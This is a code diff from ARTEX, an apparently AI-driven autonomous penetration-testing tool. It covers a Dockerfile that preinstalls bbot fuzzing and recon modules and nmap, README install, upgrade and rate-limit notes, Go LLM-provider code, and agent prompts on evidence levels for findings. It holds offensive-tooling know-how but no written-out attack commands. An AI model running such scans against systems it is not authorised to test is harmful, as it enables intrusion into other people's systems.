# version, own venv to isolate from the image python. Module dependencies are
# preinstalled (--install-all-deps) so scans never need pip at runtime, which
# would fail under a program's egress allowlist.
ARG BBOT_VERSION=3.0.2
RUN set -eux; \
python -m venv /opt/bbot; \
/opt/bbot/bin/pip install --no-cache-dir "bbot==${BBOT_VERSION}"; \
ln -s /opt/bbot/bin/bbot /usr/local/bin/bbot; \
bbot -y --install-all-deps; \
bbot --version >/dev/null; \
bbot --dry-run -t example.com -m wafw00f,paramminer_getparams,lightfuzz,sslcert,gowitness >/dev/null 2>&1 || true; \
bbot --dry-run -t example.com -m wafw00f,paramminer_getparams,lightfuzz,sslcert,gowitness --no-color >/tmp/bbot-dry.log 2>&1 || true; \
! grep -qE "Installing|ERRR|CRITICAL" /tmp/bbot-dry.log || { cat /tmp/bbot-dry.log; exit 1; }
# Preinstall Playwright MCP and CLI (globally) so no npx network download is needed at runtime.
# @playwright/mcp: browser MCP runs directly via `npx @playwright/mcp` (installed globally, no -y/@latest needed).
# @playwright/cli: provides playwright-cli, verified with --help right after install.
@@ -32,17 +117,16 @@ RUN npm install -g @playwright/mcp@latest @playwright/cli@latest playwright@late
&& playwright install --with-deps chromium \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# pre-built binary for the matching architecture (dist/amd64/artex or dist/arm64/artex)
COPY dist/${TARGETARCH}/artex /app/artex
# Daemon startup script: decides whether to relaunch the process based on its exit code;
# the in-page one-click update relies on it to swap the binary. It also forwards SIGTERM
# Binary compiled from source in the build stage above.
COPY --from=build /out/artex /app/artex
# Daemon startup script: relaunches the process after a crash and forwards SIGTERM
# to artex — docker stop only signals PID 1; without forwarding, artex never receives it,
# cannot shut down gracefully, and is hard-killed by SIGKILL after 10 seconds.
COPY start.sh /app/start.sh
RUN chmod +x /app/artex /app/start.sh
RUN chmod +x /app/artex /app/start.sh && mkdir -p /app/keys
COPY skills/ /app/skills/
# persistence point for data/ (SQLite + jwt.key)
VOLUME ["/app/data"]
# persistence points: data/ (SQLite, task files) and keys/ (jwt.key, via ARTEX_JWT_KEY_DIR)
VOLUME ["/app/data", "/app/keys"]
EXPOSE 8787 8788
ENTRYPOINT ["/app/start.sh"]
CMD ["-addr", ":8787", "-proxy", ":8788"]
+42 -25
View File
@@ -9,6 +9,8 @@ AI autonomous penetration testing system (Go backend + Next.js frontend)
</div>
<a href="https://trendshift.io/repositories/316805?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-316805" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/316805/daily?language=Go" alt="BaaRai%2FARTEX | Trendshift" width="250" height="55"/></a>
---
## Screenshots
@@ -84,10 +86,13 @@ cd ARTEX
The script will: detect / auto-install Docker → then let you choose **① all-Docker** or **② local build and run**:
- **① All-Docker**: enter a Postgres password (press Enter for a random one) → auto-writes `.env` → `docker compose up -d`.
- **① All-Docker**: enter a Postgres password (press Enter for a random one) → auto-writes `.env` → `docker compose up -d --build` (the image is built from this checkout).
- **② Local run**: choose a database (connect to an existing one / start one with Docker) → generates `config.json` → `go` builds the embedded single binary → starts.
Once installed, open **http://localhost:8787** (on first entry, `/setup` sets the admin password).
`/setup` asks for a one-time setup token: while no password is set, the backend prints it at startup in its log (`docker compose logs artex | grep "Setup token"`, or the terminal running `./start.sh`).
The web UI is published on `127.0.0.1` by default. To reach it from another machine, or from Windows when ARTEX runs inside WSL, set `ARTEX_BIND_ADDR=0.0.0.0` in `.env` (the setup token still protects the first-run claim), or keep loopback and use a reverse proxy or an SSH tunnel.
### Option 2: Docker Compose (manual)
@@ -95,10 +100,13 @@ Once installed, open **http://localhost:8787** (on first entry, `/setup` sets th
git clone https://github.com/BaaRai/ARTEX.git
cd ARTEX
cp .env.example .env # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
docker compose up -d # pulls the autumn27/artex image + postgres
docker compose up -d --build # builds artex from this checkout + starts postgres
# → http://localhost:8787
```
> The image is built locally. There is no published image to pull: the previous
> default pointed at a third-party namespace that no longer hosts this project.
The image already includes common tools (ripgrep/curl/vim/npm/nmap…); `./skills` and `./data` are persisted via bind mounts.
For remote MCP, you can choose `http` (Streamable HTTP) or `sse` (legacy SSE) in system settings.
@@ -115,7 +123,7 @@ cp config.example.json config.json # fill in the database connection
./start.sh # → http://localhost:8787
```
> Please start with `start.sh` / `start.bat` instead of running `./artex` directly. It is a daemon script: after the program exits it decides whether to relaunch based on the exit code, and **the in-page [one-click update](#option-1-one-click-update-from-the-page-recommended) relies on it to swap the binary**. If you run `./artex` directly, it will not be relaunched after an update.
> Please start with `start.sh` / `start.bat` instead of running `./artex` directly. It is a daemon script: if the process crashes, it restarts it after a backoff.
> To keep it running in the background: `nohup ./start.sh >artex.log 2>&1 &`.
### Option 4: build the single binary from source
@@ -173,22 +181,22 @@ Daily cron example (03:20, operator crontab):
## Updating and upgrading
> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (jwt.key / SQLite, etc.), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (SQLite, task files, etc.), `./keys` (jwt.key), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
### Option 1: one-click update from the page (recommended)
### Upgrading from a clone made before 2026-10-23
On the **System Settings** page (sidebar "System Settings" → `/system/settings`), the **Version & Updates** card lets you check for and install new versions directly, without logging into the server.
The repository history was rewritten that day to drop a personal email address from the commit metadata. A clone made before then cannot fast-forward, and `./update.sh` now stops instead of silently rebuilding stale code. Recover once, then upgrade normally:
After clicking "Update": it downloads the release package for the current platform → verifies it against the release's `SHA256SUMS` → smoke-tests the new binary with `-h` → stages it as `artex.new` → the program exits and is relaunched by `start.sh` / `start.bat`, which completes the swap. The page automatically waits for the new version to come online, then refreshes.
```bash
git stash # only if you have local changes
git fetch origin
git reset --hard origin/main
git stash pop # only if you stashed
```
- **A failure never leaves a broken program**: if verification or the smoke test fails, the staged file is discarded and the current version keeps running; if the swapped-in new version fails to start 3 times in a row, it automatically rolls back to `artex.old` (the failed one is kept as `artex.failed` for troubleshooting).
- **Rollback anytime**: the previous version is kept as `artex.old`, and the card has "Roll back to previous version". Note that the database schema is not rolled back.
- **Updating interrupts running tasks**: updating means restarting, so do it when the system is idle.
- **Dev builds can't update**: updating is disabled when the version is `dev` or a `git describe` output with a suffix, preventing a release from overwriting your local debug binary.
- **Under Docker, only the program is swapped, not the image**: toolchains inside the image like playwright / nmap are not upgraded along with it, and recreating the container with `docker compose up -d` reverts to the version bundled in the image. To upgrade the image as well, still use `docker compose pull artex && docker compose up -d artex`.
- If accessing GitHub requires a proxy, configure the **global proxy** on the same page and the update chain will use it. Updates only download from GitHub domains and enforce HTTPS.
Your data is not affected: `./data`, the `pgdata` volume and `./skills` are not part of the git history.
### Option 2: one-click update script
### Option 1: one-click update script
```bash
cd ARTEX
@@ -197,21 +205,20 @@ cd ARTEX
The script first optionally `git pull`s the latest code, then lets you choose **① Docker update** or **② local build update** (matching `install.sh`):
- **① Docker**: you can specify a target image tag (press Enter to keep `.env`'s `ARTEX_TAG`, default `latest`) → `docker compose pull` → `docker compose up -d` (restarting with the new image migrates automatically).
- **① Docker**: rebuilds the image from this checkout → `docker compose build artex` → `docker compose up -d artex` (restarting migrates the schema automatically).
- **② Local**: rebuild the frontend static assets → recompile `./artex` (restart the process for it to take effect).
### Option 3: Docker Compose (manual)
### Option 2: Docker Compose (manual)
```bash
cd ARTEX
git pull # update compose / scripts (optional)
# pin a version: set ARTEX_TAG=v0.2.0 in .env; otherwise latest is used
docker compose pull artex
docker compose up -d artex # restart with the new image → schema migrates automatically
git pull # update compose / scripts
docker compose build artex # rebuild the image from this checkout
docker compose up -d artex # recreate the container → schema migrates automatically
docker image prune -f # clean up old images (optional)
```
### Option 4: prebuilt binaries (Releases)
### Option 3: prebuilt binaries (Releases)
Download the new version's zip from [Releases](https://github.com/BaaRai/ARTEX/releases), stop the old process, then overwrite `artex` and `skills/` (keep your `config.json` and `data/`), and restart:
@@ -220,7 +227,7 @@ cp -r <extracted dir>/skills ./ && cp <extracted dir>/artex ./
./start.sh
```
### Option 5: build from source
### Option 4: build from source
```bash
git pull
@@ -246,8 +253,10 @@ CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
}
```
**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`); you can also fill it in on the UI's "LLM Configuration" page.
Optional: `ARTEX_LLM_PROVIDER` / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ARTEX_LLM_PROXY`.
**LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`); you can also fill it in on the UI's "LLM Configuration" page — which can add a local Ollama server as a keyless provider (format "Ollama", base URL default `http://127.0.0.1:11434/v1`, models loaded from the server).
Optional: `ARTEX_LLM_PROVIDER` (anthropic | openai | openai-responses | ollama) / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ARTEX_LLM_PROXY`.
**Base URL**: for the Anthropic format, enter the host **without** a `/v1` suffix (e.g. `https://api.anthropic.com`) — the provider appends `/v1/messages` itself, so a base ending in `/v1` becomes `https://api.anthropic.com/v1/v1/messages`. OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base **does** end in `/v1` (e.g. `https://api.openai.com/v1`).
**Concurrency**: the number of work agents per task is configured in "System Settings" (default 3).
@@ -255,7 +264,7 @@ Optional: `ARTEX_LLM_PROVIDER` / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ART
### Reverse proxy deployment (HTTPS / only exposing 443)
The frontend and API/SSE are served by the same backend port (default `:8787`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
The frontend and API/SSE are served by the same backend port (8787; the binary listens on `127.0.0.1:8787` by default, the Docker container on `:8787` published on `127.0.0.1`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
SSE is a long-lived connection with continuous pushes, so the reverse proxy **must disable buffering**, otherwise the browser connects but never receives events (the activity stream spins forever). Nginx example:
@@ -269,6 +278,7 @@ server {
proxy_pass http://127.0.0.1:8787;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# SSE essentials: buffering off, long timeouts, HTTP/1.1
proxy_buffering off;
@@ -280,6 +290,13 @@ server {
}
```
**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a proxy every request comes from the proxy's address, so without further setup all users share one budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes. To avoid that, keep the `X-Forwarded-For` line above and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default) to the address ARTEX sees the proxy connect from:
- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`. Start ARTEX with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with `docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network is `<project directory>_default`; `docker network ls` lists it), put `ARTEX_TRUSTED_PROXIES=<gateway>/32` in `.env`, and run `docker compose up -d`.
For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address that is not a trusted proxy; from any other peer the header is ignored. Trust only addresses of proxies you run: a trusted peer can claim any client address.
> Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set `NEXT_PUBLIC_SSE_BASE` **at build time** (this variable is baked into the static bundle during `next build`; setting it at container runtime has no effect).
---
+3
View File
@@ -160,6 +160,9 @@ func (c *ChatAgent) Chat(ctx context.Context, agentKey, sessionID, message strin
Settlement: wrapupSettlement(agentKey, nil),
NonStreaming: c.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
MaxTokens: c.maxTokens(), // 0 = send no cap, the server's default decides
// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
UntrustedOutputBoundary: untrustedBoundaryEnabled(),
}
if c.guard != nil {
opts.Hooks = c.guard.Hooks()
+8
View File
@@ -76,6 +76,9 @@ func findingWorkflowTools(agentKey string, tools []actool.CoreTool) ([]actool.Co
if has["update_finding_report"] && has["bind_finding_traffic"] && has["get_finding_traffic"] {
guidance += "\n\n**Auto-link traffic before reporting (enabled)**: you are responsible for verifying and binding traffic for the vulnerability that triggered this run, then writing the report. First obtain the unambiguous finding_id and finding_node_id from the report_finding return JSON or get_task_node_detail / list_task_findings. Read the vulnerability details, the corresponding intent's execution records, and the existing evidence list, preferring the real IDs handed off by the reporter. If this verification is HTTP and the traffic tools are available, use traffic_search to filter candidates, then traffic_get to verify item by item that the request/response truly supports the vulnerability; domains and times are only for filtering and do not prove attribution. Bind the confirmed evidence in reproduction order via bind_finding_traffic(finding_id, traffic_refs), choosing baseline / proof / verification / supporting and stating the purpose. Operate only on this vulnerability — do not recreate vulnerabilities or re-probe the target. After a successful bind, call get_finding_traffic again for the latest version, read the bodies you need, then pass the version you actually read as evidence_version to update_finding_report (whose finding_id parameter still takes finding_node_id). Do not re-append existing bindings. For TCP, no-capture, unavailable tools, or no exact match, skip auto-binding, write the report from textual/command evidence with the reason stated, and never guess to force traffic in. Do not claim success when binding fails; keep the existing evidence and explain in the report why nothing was bound."
}
if has["update_finding_report"] {
guidance += findingVerificationGuidance
}
if guidance != "" || has["get_finding_traffic"] || has["update_finding_report"] {
guidance += findingIDGuidance
}
@@ -126,3 +129,8 @@ func (t *ToolSet) findingRefsFromHint(hintID int64, explicit []db.TrafficRef) ([
}
return db.NormalizeTrafficRefs(append(append([]db.TrafficRef{}, explicit...), payload.Refs...))
}
// findingVerificationGuidance tells the report writer how to declare proof
// (S1). The server downgrades any finding whose declaration does not hold up,
// so the agent must never state a level or quote it cannot read in the bound body.
const findingVerificationGuidance = "\n\n**Verification (S1)**: when you call update_finding_report, also declare poe_level (0-4) and evidence_quotes. poe_level 1 = error, timing or response variation; 2 = structural manipulation (boolean, UNION, parser difference); 3 = actual data extracted; 4 = critical impact (admin credentials, code execution). L3 is the minimum for a verified finding. evidence_quotes must be exact lines copied from a bound proof or verification response body (read it with get_finding_traffic first), never from memory or from the report text; the server checks each quote verbatim after whitespace normalization. If you cannot quote the proof, omit the quotes: the finding then stays unverified, which is acceptable. Do not raise poe_level to get a verified status."
+3
View File
@@ -169,6 +169,9 @@ func (m *MainAgent) Chat(ctx context.Context, taskID int64, mainSeg int, as *db.
Settlement: wrapupSettlement("mainagent", nil),
NonStreaming: m.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
MaxTokens: m.maxTokens(), // 0 = send no cap, the server's default decides
// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
UntrustedOutputBoundary: untrustedBoundaryEnabled(),
}
if m.tx != nil { // persist raw human↔AI conversation; one accumulating file per segment
opts.Transcript = m.tx
+3
View File
@@ -457,6 +457,9 @@ func (p *Planner) Plan(ctx context.Context, taskID int64, as *db.AssetStore, ts
Settlement: settle,
NonStreaming: p.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
MaxTokens: p.maxTokens(), // 0 = send no cap; the server default decides
// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
UntrustedOutputBoundary: untrustedBoundaryEnabled(),
}
if p.tx != nil { // persist raw LLM conversation; one accumulating file per task's planner
opts.Transcript = p.tx
+136 -14
View File
@@ -3,8 +3,10 @@
// §4.3 (planner) and §4.4 (work agent).
//
// Provider configuration is read from the environment so the system runs with
// any Anthropic- or OpenAI-format endpoint. If no key is configured, FromEnv
// returns ok=false and the exploration engine stays idle (an LLM is required).
// any Anthropic-, OpenAI- or Ollama-format endpoint (the last being keyless).
// If no usable configuration is found — a key for the cloud formats, a base
// URL for keyless Ollama — FromEnv returns ok=false and the exploration engine
// stays idle (an LLM is required).
package agent
import (
@@ -84,6 +86,10 @@ type Config struct {
// context via transcript.WithSessionID and read by the RoundTripper, so even a
// shared provider emits different header values per session.
SessionHeaderKey string
// UserAgent, when non-empty, overrides the User-Agent header on every outbound
// LLM request built from this config. Empty = don't set it, leaving the Go/Norma
// default UA untouched (the historical behavior). Validated by ValidateUserAgent.
UserAgent string
// Retry holds the retry parameters resolved for this config (profile override →
// global policy → built-in default, resolved server-side). See RetryConfig for
// the per-layer semantics; zero values = fully inherit the built-in defaults.
@@ -125,6 +131,47 @@ const (
maxWindowK = 1000 // cap at 1M tokens (user request)
)
// FormatOllama marks a LOCAL Ollama server profile. Ollama exposes an
// OpenAI-compatible Chat Completions endpoint (/v1), so on the wire it speaks
// llm.FormatOpenAI; the distinct sentinel matters everywhere a profile must be
// treated as usable WITHOUT an API key — Ollama runs keyless on localhost/LAN.
// See NeedsAPIKey and NewProvider (which maps it onto FormatOpenAI while
// forcing our base-URL/key defaults so an empty key never falls back to
// OpenAI's public endpoint).
const FormatOllama llm.Format = "ollama"
// DefaultOllamaBaseURL is the base of Ollama's OpenAI-compatible endpoint the
// provider appends /chat/completions to. Must never end up empty: with an
// empty BaseURL, the SDK would fall back to OpenAI's public endpoint.
const DefaultOllamaBaseURL = "http://127.0.0.1:11434/v1"
// ollamaPlaceholderKey is sent as the Bearer token when no key is configured.
// Ollama ignores authorization, but a concrete value keeps the SDK from
// falling back to OPENAI_API_KEY (which would silently ship a real cloud key
// to the local server) and keeps the header stable.
const ollamaPlaceholderKey = "ollama"
// normalizeOllamaBaseURL maps whatever the operator typed onto the /v1 root the
// OpenAI-compatible provider expects: it strips a pasted "/chat/completions"
// suffix, an empty value becomes the local default, and a missing "/v1" is
// appended so the natural "http://host:11434" also works. Shared by the saved
// profile path (ConfigFrom) and the environment path (FromEnv): both used to
// differ, and only the profile path normalized.
func normalizeOllamaBaseURL(raw string) string {
b := strings.TrimRight(strings.TrimSuffix(strings.TrimSpace(raw), "/chat/completions"), "/")
if b == "" {
return DefaultOllamaBaseURL
}
if !strings.HasSuffix(b, "/v1") {
b += "/v1"
}
return b
}
// NeedsAPIKey reports whether this provider format requires an API key to be
// usable. Ollama (local server) is keyless; every cloud format needs one.
func (c Config) NeedsAPIKey() bool { return c.Format != FormatOllama }
// CompactionWindow returns the model context window in TOKENS for compaction
// thresholds, resolved from the user-configured size (ContextWindowK). 0/unset →
// a 200K default; otherwise clamped to [32K, 1M] so compaction stays effective.
@@ -154,13 +201,15 @@ func compactionConfig(windowTokens int) *compaction.Config {
// FromEnv resolves the LLM provider config:
//
// ARTEX_LLM_PROVIDER = anthropic|openai (default: inferred from keys)
// ARTEX_LLM_PROVIDER = anthropic|openai|openai-responses|ollama (default: inferred from keys)
// ARTEX_LLM_MODEL = model id (default: per provider)
// ARTEX_LLM_BASE_URL = endpoint (optional)
// ARTEX_LLM_BASE_URL = endpoint (optional; ollama defaults to localhost:11434/v1)
// ARTEX_LLM_PROXY = proxy URL (optional; http/https/socks5)
// ANTHROPIC_API_KEY / OPENAI_API_KEY = credentials
// ANTHROPIC_API_KEY / OPENAI_API_KEY = credentials (unused for ollama)
func FromEnv() (Config, bool) {
prov := os.Getenv("ARTEX_LLM_PROVIDER")
// Case- and space-insensitive: "Ollama" used to miss every case below and
// fall through to anthropic, sending ANTHROPIC_API_KEY to the Ollama base URL.
prov := strings.ToLower(strings.TrimSpace(os.Getenv("ARTEX_LLM_PROVIDER")))
anthKey := os.Getenv("ANTHROPIC_API_KEY")
oaiKey := os.Getenv("OPENAI_API_KEY")
@@ -196,6 +245,16 @@ func FromEnv() (Config, bool) {
if c.Model == "" {
c.Model = "gpt-5"
}
case "ollama":
c.Format = FormatOllama
// Deliberately NOT inheriting OPENAI_API_KEY: a local Ollama ignores the
// bearer token, so the only thing the inheritance could do is ship a real
// cloud key to the endpoint. A gateway that does require a key can still
// be configured as a saved profile with an explicit one.
c.BaseURL = normalizeOllamaBaseURL(c.BaseURL)
if c.Model == "" {
c.Model = "llama3.2"
}
default:
c.Format = llm.FormatAnthropic
c.APIKey = anthKey
@@ -203,7 +262,8 @@ func FromEnv() (Config, bool) {
c.Model = "claude-opus-4-8"
}
}
if c.APIKey == "" {
// Ollama runs without a key: only the cloud formats gate on one.
if c.APIKey == "" && c.NeedsAPIKey() {
return Config{}, false
}
return c, true
@@ -236,6 +296,16 @@ func ConfigFrom(provider, model, baseURL, apiKey, proxy string) Config {
if c.Model == "" {
c.Model = "gpt-5"
}
case "ollama":
c.Format = FormatOllama
// Ollama's OpenAI-compatible endpoint lives at /v1 and the provider
// appends "/chat/completions". Never leave it empty: an empty BaseURL
// would let the SDK fall back to OpenAI's public endpoint with this
// profile's request.
c.BaseURL = normalizeOllamaBaseURL(c.BaseURL)
if c.Model == "" {
c.Model = "llama3.2"
}
default:
c.Format = llm.FormatAnthropic
// provider appends "/v1/messages".
@@ -257,13 +327,16 @@ func isFalsy(s string) bool {
return false
}
// Provider returns the short provider name ("anthropic"/"openai").
// Provider returns the short provider name
// ("anthropic"/"openai"/"openai-responses"/"ollama").
func (c Config) Provider() string {
switch c.Format {
case llm.FormatOpenAI:
return "openai"
case llm.FormatOpenAIResponses:
return "openai-responses"
case FormatOllama:
return "ollama"
}
return "anthropic"
}
@@ -272,14 +345,31 @@ func (c Config) Provider() string {
// limiter lives on the single provider instance — so planner + all workers +
// main agent (which share this provider) are bounded by one shared rate limit.
func (c Config) NewProvider() (llm.Provider, error) {
client, err := quotaAwareHTTPClient(c.Proxy, c.SessionHeaderKey)
client, err := quotaAwareHTTPClient(c.Proxy, c.SessionHeaderKey, c.UserAgent)
if err != nil {
return nil, err
}
wireFormat := c.Format
baseURL := c.BaseURL
apiKey := c.APIKey
// Ollama speaks OpenAI's Chat Completions on the wire. Bundle the keyless
// defaults here so an Ollama config can never leak toward the SDK's env-
// driven fallbacks: BaseURL to OpenAI's public endpoint, APIKey to
// OPENAI_API_KEY. A local Ollama ignores the placeholder token; a gateway
// that requires one carries a real key in the profile.
if wireFormat == FormatOllama {
wireFormat = llm.FormatOpenAI
if strings.TrimSpace(baseURL) == "" {
baseURL = DefaultOllamaBaseURL
}
if strings.TrimSpace(apiKey) == "" {
apiKey = ollamaPlaceholderKey
}
}
lc := llm.Config{
Format: c.Format,
BaseURL: c.BaseURL,
APIKey: c.APIKey,
Format: wireFormat,
BaseURL: baseURL,
APIKey: apiKey,
Model: c.Model,
HTTPClient: client,
}
@@ -354,6 +444,9 @@ type quotaAwareTransport struct {
// carries; its value is the session id read from the request context. Empty
// disables it. See Config.SessionHeaderKey.
sessionHeaderKey string
// userAgent, when non-empty, is set as the User-Agent header on every request.
// Empty leaves the default UA untouched. See Config.UserAgent.
userAgent string
}
func (t quotaAwareTransport) RoundTrip(req *http.Request) (*http.Response, error) {
@@ -366,6 +459,11 @@ func (t quotaAwareTransport) RoundTrip(req *http.Request) (*http.Response, error
req.Header.Set(t.sessionHeaderKey, sid)
}
}
// Custom User-Agent: override only when configured, so an empty value keeps the
// underlying transport's default UA exactly as before.
if t.userAgent != "" {
req.Header.Set("User-Agent", t.userAgent)
}
// When LLM recording is on, the Recorder puts a Capture on the context so the
// raw wire bodies can be persisted. This is the only layer that still sees
// them: norma builds the request body internally and decodes the SSE response
@@ -418,7 +516,7 @@ func requestBodySnapshot(req *http.Request) string {
return string(b)
}
func quotaAwareHTTPClient(proxy, sessionHeaderKey string) (*http.Client, error) {
func quotaAwareHTTPClient(proxy, sessionHeaderKey, userAgent string) (*http.Client, error) {
transport := http.DefaultTransport.(*http.Transport).Clone()
proxy = strings.TrimSpace(proxy)
if proxy == "" {
@@ -437,7 +535,31 @@ func quotaAwareHTTPClient(proxy, sessionHeaderKey string) (*http.Client, error)
}
transport.Proxy = http.ProxyURL(proxyURL)
}
return &http.Client{Transport: quotaAwareTransport{base: transport, sessionHeaderKey: strings.TrimSpace(sessionHeaderKey)}}, nil
return &http.Client{Transport: quotaAwareTransport{base: transport, sessionHeaderKey: strings.TrimSpace(sessionHeaderKey), userAgent: strings.TrimSpace(userAgent)}}, nil
}
// MaxUserAgentLen bounds a custom User-Agent value. Generous for real UA strings
// while keeping a pathological value out of every outbound request.
const MaxUserAgentLen = 256
// ValidateUserAgent trims a custom User-Agent and returns the cleaned value. An
// empty/blank input is valid and means "no override" (keep the default UA). A
// non-empty value is rejected when it exceeds MaxUserAgentLen or contains any
// control character (including CR/LF, which would allow header injection).
func ValidateUserAgent(raw string) (string, error) {
ua := strings.TrimSpace(raw)
if ua == "" {
return "", nil
}
if len(ua) > MaxUserAgentLen {
return "", fmt.Errorf("user agent too long: %d bytes (max %d)", len(ua), MaxUserAgentLen)
}
for _, r := range ua {
if r < 0x20 || r == 0x7f {
return "", fmt.Errorf("user agent contains a control character")
}
}
return ua, nil
}
// logTestConnection prints the raw HTTP status code(s) and response body of a
+3 -3
View File
@@ -21,7 +21,7 @@ func TestRoundTripCapturesRawBodies(t *testing.T) {
}))
defer srv.Close()
client, err := quotaAwareHTTPClient("", "")
client, err := quotaAwareHTTPClient("", "", "")
if err != nil {
t.Fatalf("client: %v", err)
}
@@ -65,7 +65,7 @@ func TestRoundTripCaptures429BodyAlongsideQuotaRewrite(t *testing.T) {
}))
defer srv.Close()
client, err := quotaAwareHTTPClient("", "")
client, err := quotaAwareHTTPClient("", "", "")
if err != nil {
t.Fatalf("client: %v", err)
}
@@ -106,7 +106,7 @@ func TestRoundTripWithoutCaptureIsUnchanged(t *testing.T) {
}))
defer srv.Close()
client, err := quotaAwareHTTPClient("", "")
client, err := quotaAwareHTTPClient("", "", "")
if err != nil {
t.Fatalf("client: %v", err)
}
+37
View File
@@ -0,0 +1,37 @@
package agent
import (
"testing"
"github.com/Autumn-27/norma/llm"
)
// ARTEX_LLM_PROVIDER is matched regardless of case and surrounding spaces. A
// miss used to fall through to anthropic: "Ollama" then sent ANTHROPIC_API_KEY
// to the Ollama base URL.
func TestFromEnvProviderIsCaseInsensitive(t *testing.T) {
t.Setenv("ANTHROPIC_API_KEY", "sk-ant-secret")
t.Setenv("OPENAI_API_KEY", "sk-oai")
t.Setenv("ARTEX_LLM_BASE_URL", "")
t.Setenv("ARTEX_LLM_MODEL", "")
for _, tc := range []struct {
env string
want llm.Format
key string
}{
{"Ollama", FormatOllama, ""},
{" OLLAMA ", FormatOllama, ""},
{"OpenAI", llm.FormatOpenAI, "sk-oai"},
{"OpenAI-Responses", llm.FormatOpenAIResponses, "sk-oai"},
{"Anthropic", llm.FormatAnthropic, "sk-ant-secret"},
} {
t.Setenv("ARTEX_LLM_PROVIDER", tc.env)
c, ok := FromEnv()
if !ok {
t.Fatalf("%q: FromEnv returned ok=false", tc.env)
}
if c.Format != tc.want || c.APIKey != tc.key {
t.Fatalf("%q: format=%v key=%q, want format=%v key=%q", tc.env, c.Format, c.APIKey, tc.want, tc.key)
}
}
}
+39
View File
@@ -0,0 +1,39 @@
package agent
import (
"encoding/json"
"testing"
"github.com/Autumn-27/artex/db"
)
func nodeWithSummary(id int64, summary string) *db.Node {
payload, _ := json.Marshal(map[string]any{"summary": summary})
return &db.Node{ID: id, Kind: db.KindIntent, State: "done", Payload: payload}
}
func TestDetectStagnation(t *testing.T) {
done := []*db.Node{
nodeWithSummary(10, "Enumerate endpoints on https://target.example.com/api/v2"),
nodeWithSummary(22, "Enumerate endpoints on https://target.example.com/api/v3"),
nodeWithSummary(35, "enumerate endpoints on https://target.example.com/api/v9"),
nodeWithSummary(40, "Review authentication flow for token replay"),
}
if got := detectStagnation(done, nil); len(got) != 1 {
t.Fatalf("expected 1 stagnating direction, got %d: %+v", len(got), got)
} else if got[0]["repeats"] != 3 {
t.Fatalf("repeats=%v want 3", got[0]["repeats"])
}
// a finding produced after the first repeat disarms the direction
findingPayload, _ := json.Marshal(map[string]any{"summary": "IDOR found"})
findings := []*db.Node{{ID: 25, Kind: db.KindFinding, Payload: findingPayload}}
if got := detectStagnation(done, findings); len(got) != 0 {
t.Fatalf("expected no stagnation once a finding exists, got %+v", got)
}
// below the repeat threshold: nothing
if got := detectStagnation(done[:2], nil); len(got) != 0 {
t.Fatalf("expected no stagnation below threshold, got %+v", got)
}
}
+41
View File
@@ -3,6 +3,7 @@ package agent
import (
"context"
"encoding/json"
"strings"
"testing"
actool "github.com/Autumn-27/norma/tool"
@@ -46,6 +47,46 @@ func TestBuiltinToolSeeds(t *testing.T) {
}
}
// TestObjDropsBlankRequired: obj never emits a blank required name, and omits the
// "required" key entirely when no real name is left.
func TestObjDropsBlankRequired(t *testing.T) {
if got, ok := obj(map[string]any{}, "")["required"]; ok {
t.Errorf(`obj(props, "") required = %v, want no required key`, got)
}
got, _ := obj(map[string]any{}, " ", "x")["required"].([]string)
if len(got) != 1 || got[0] != "x" {
t.Errorf(`obj(props, " ", "x") required = %v, want [x]`, got)
}
}
// TestListTaskCredentialsSchemaHasNoBlankRequired guards the seeded schema of the
// parameterless list_task_credentials tool: "required": [""] is rejected by strict
// providers, which fails every worker run.
func TestListTaskCredentialsSchemaHasNoBlankRequired(t *testing.T) {
for _, s := range BuiltinToolSeeds() {
if s.Key != "list_task_credentials" {
continue
}
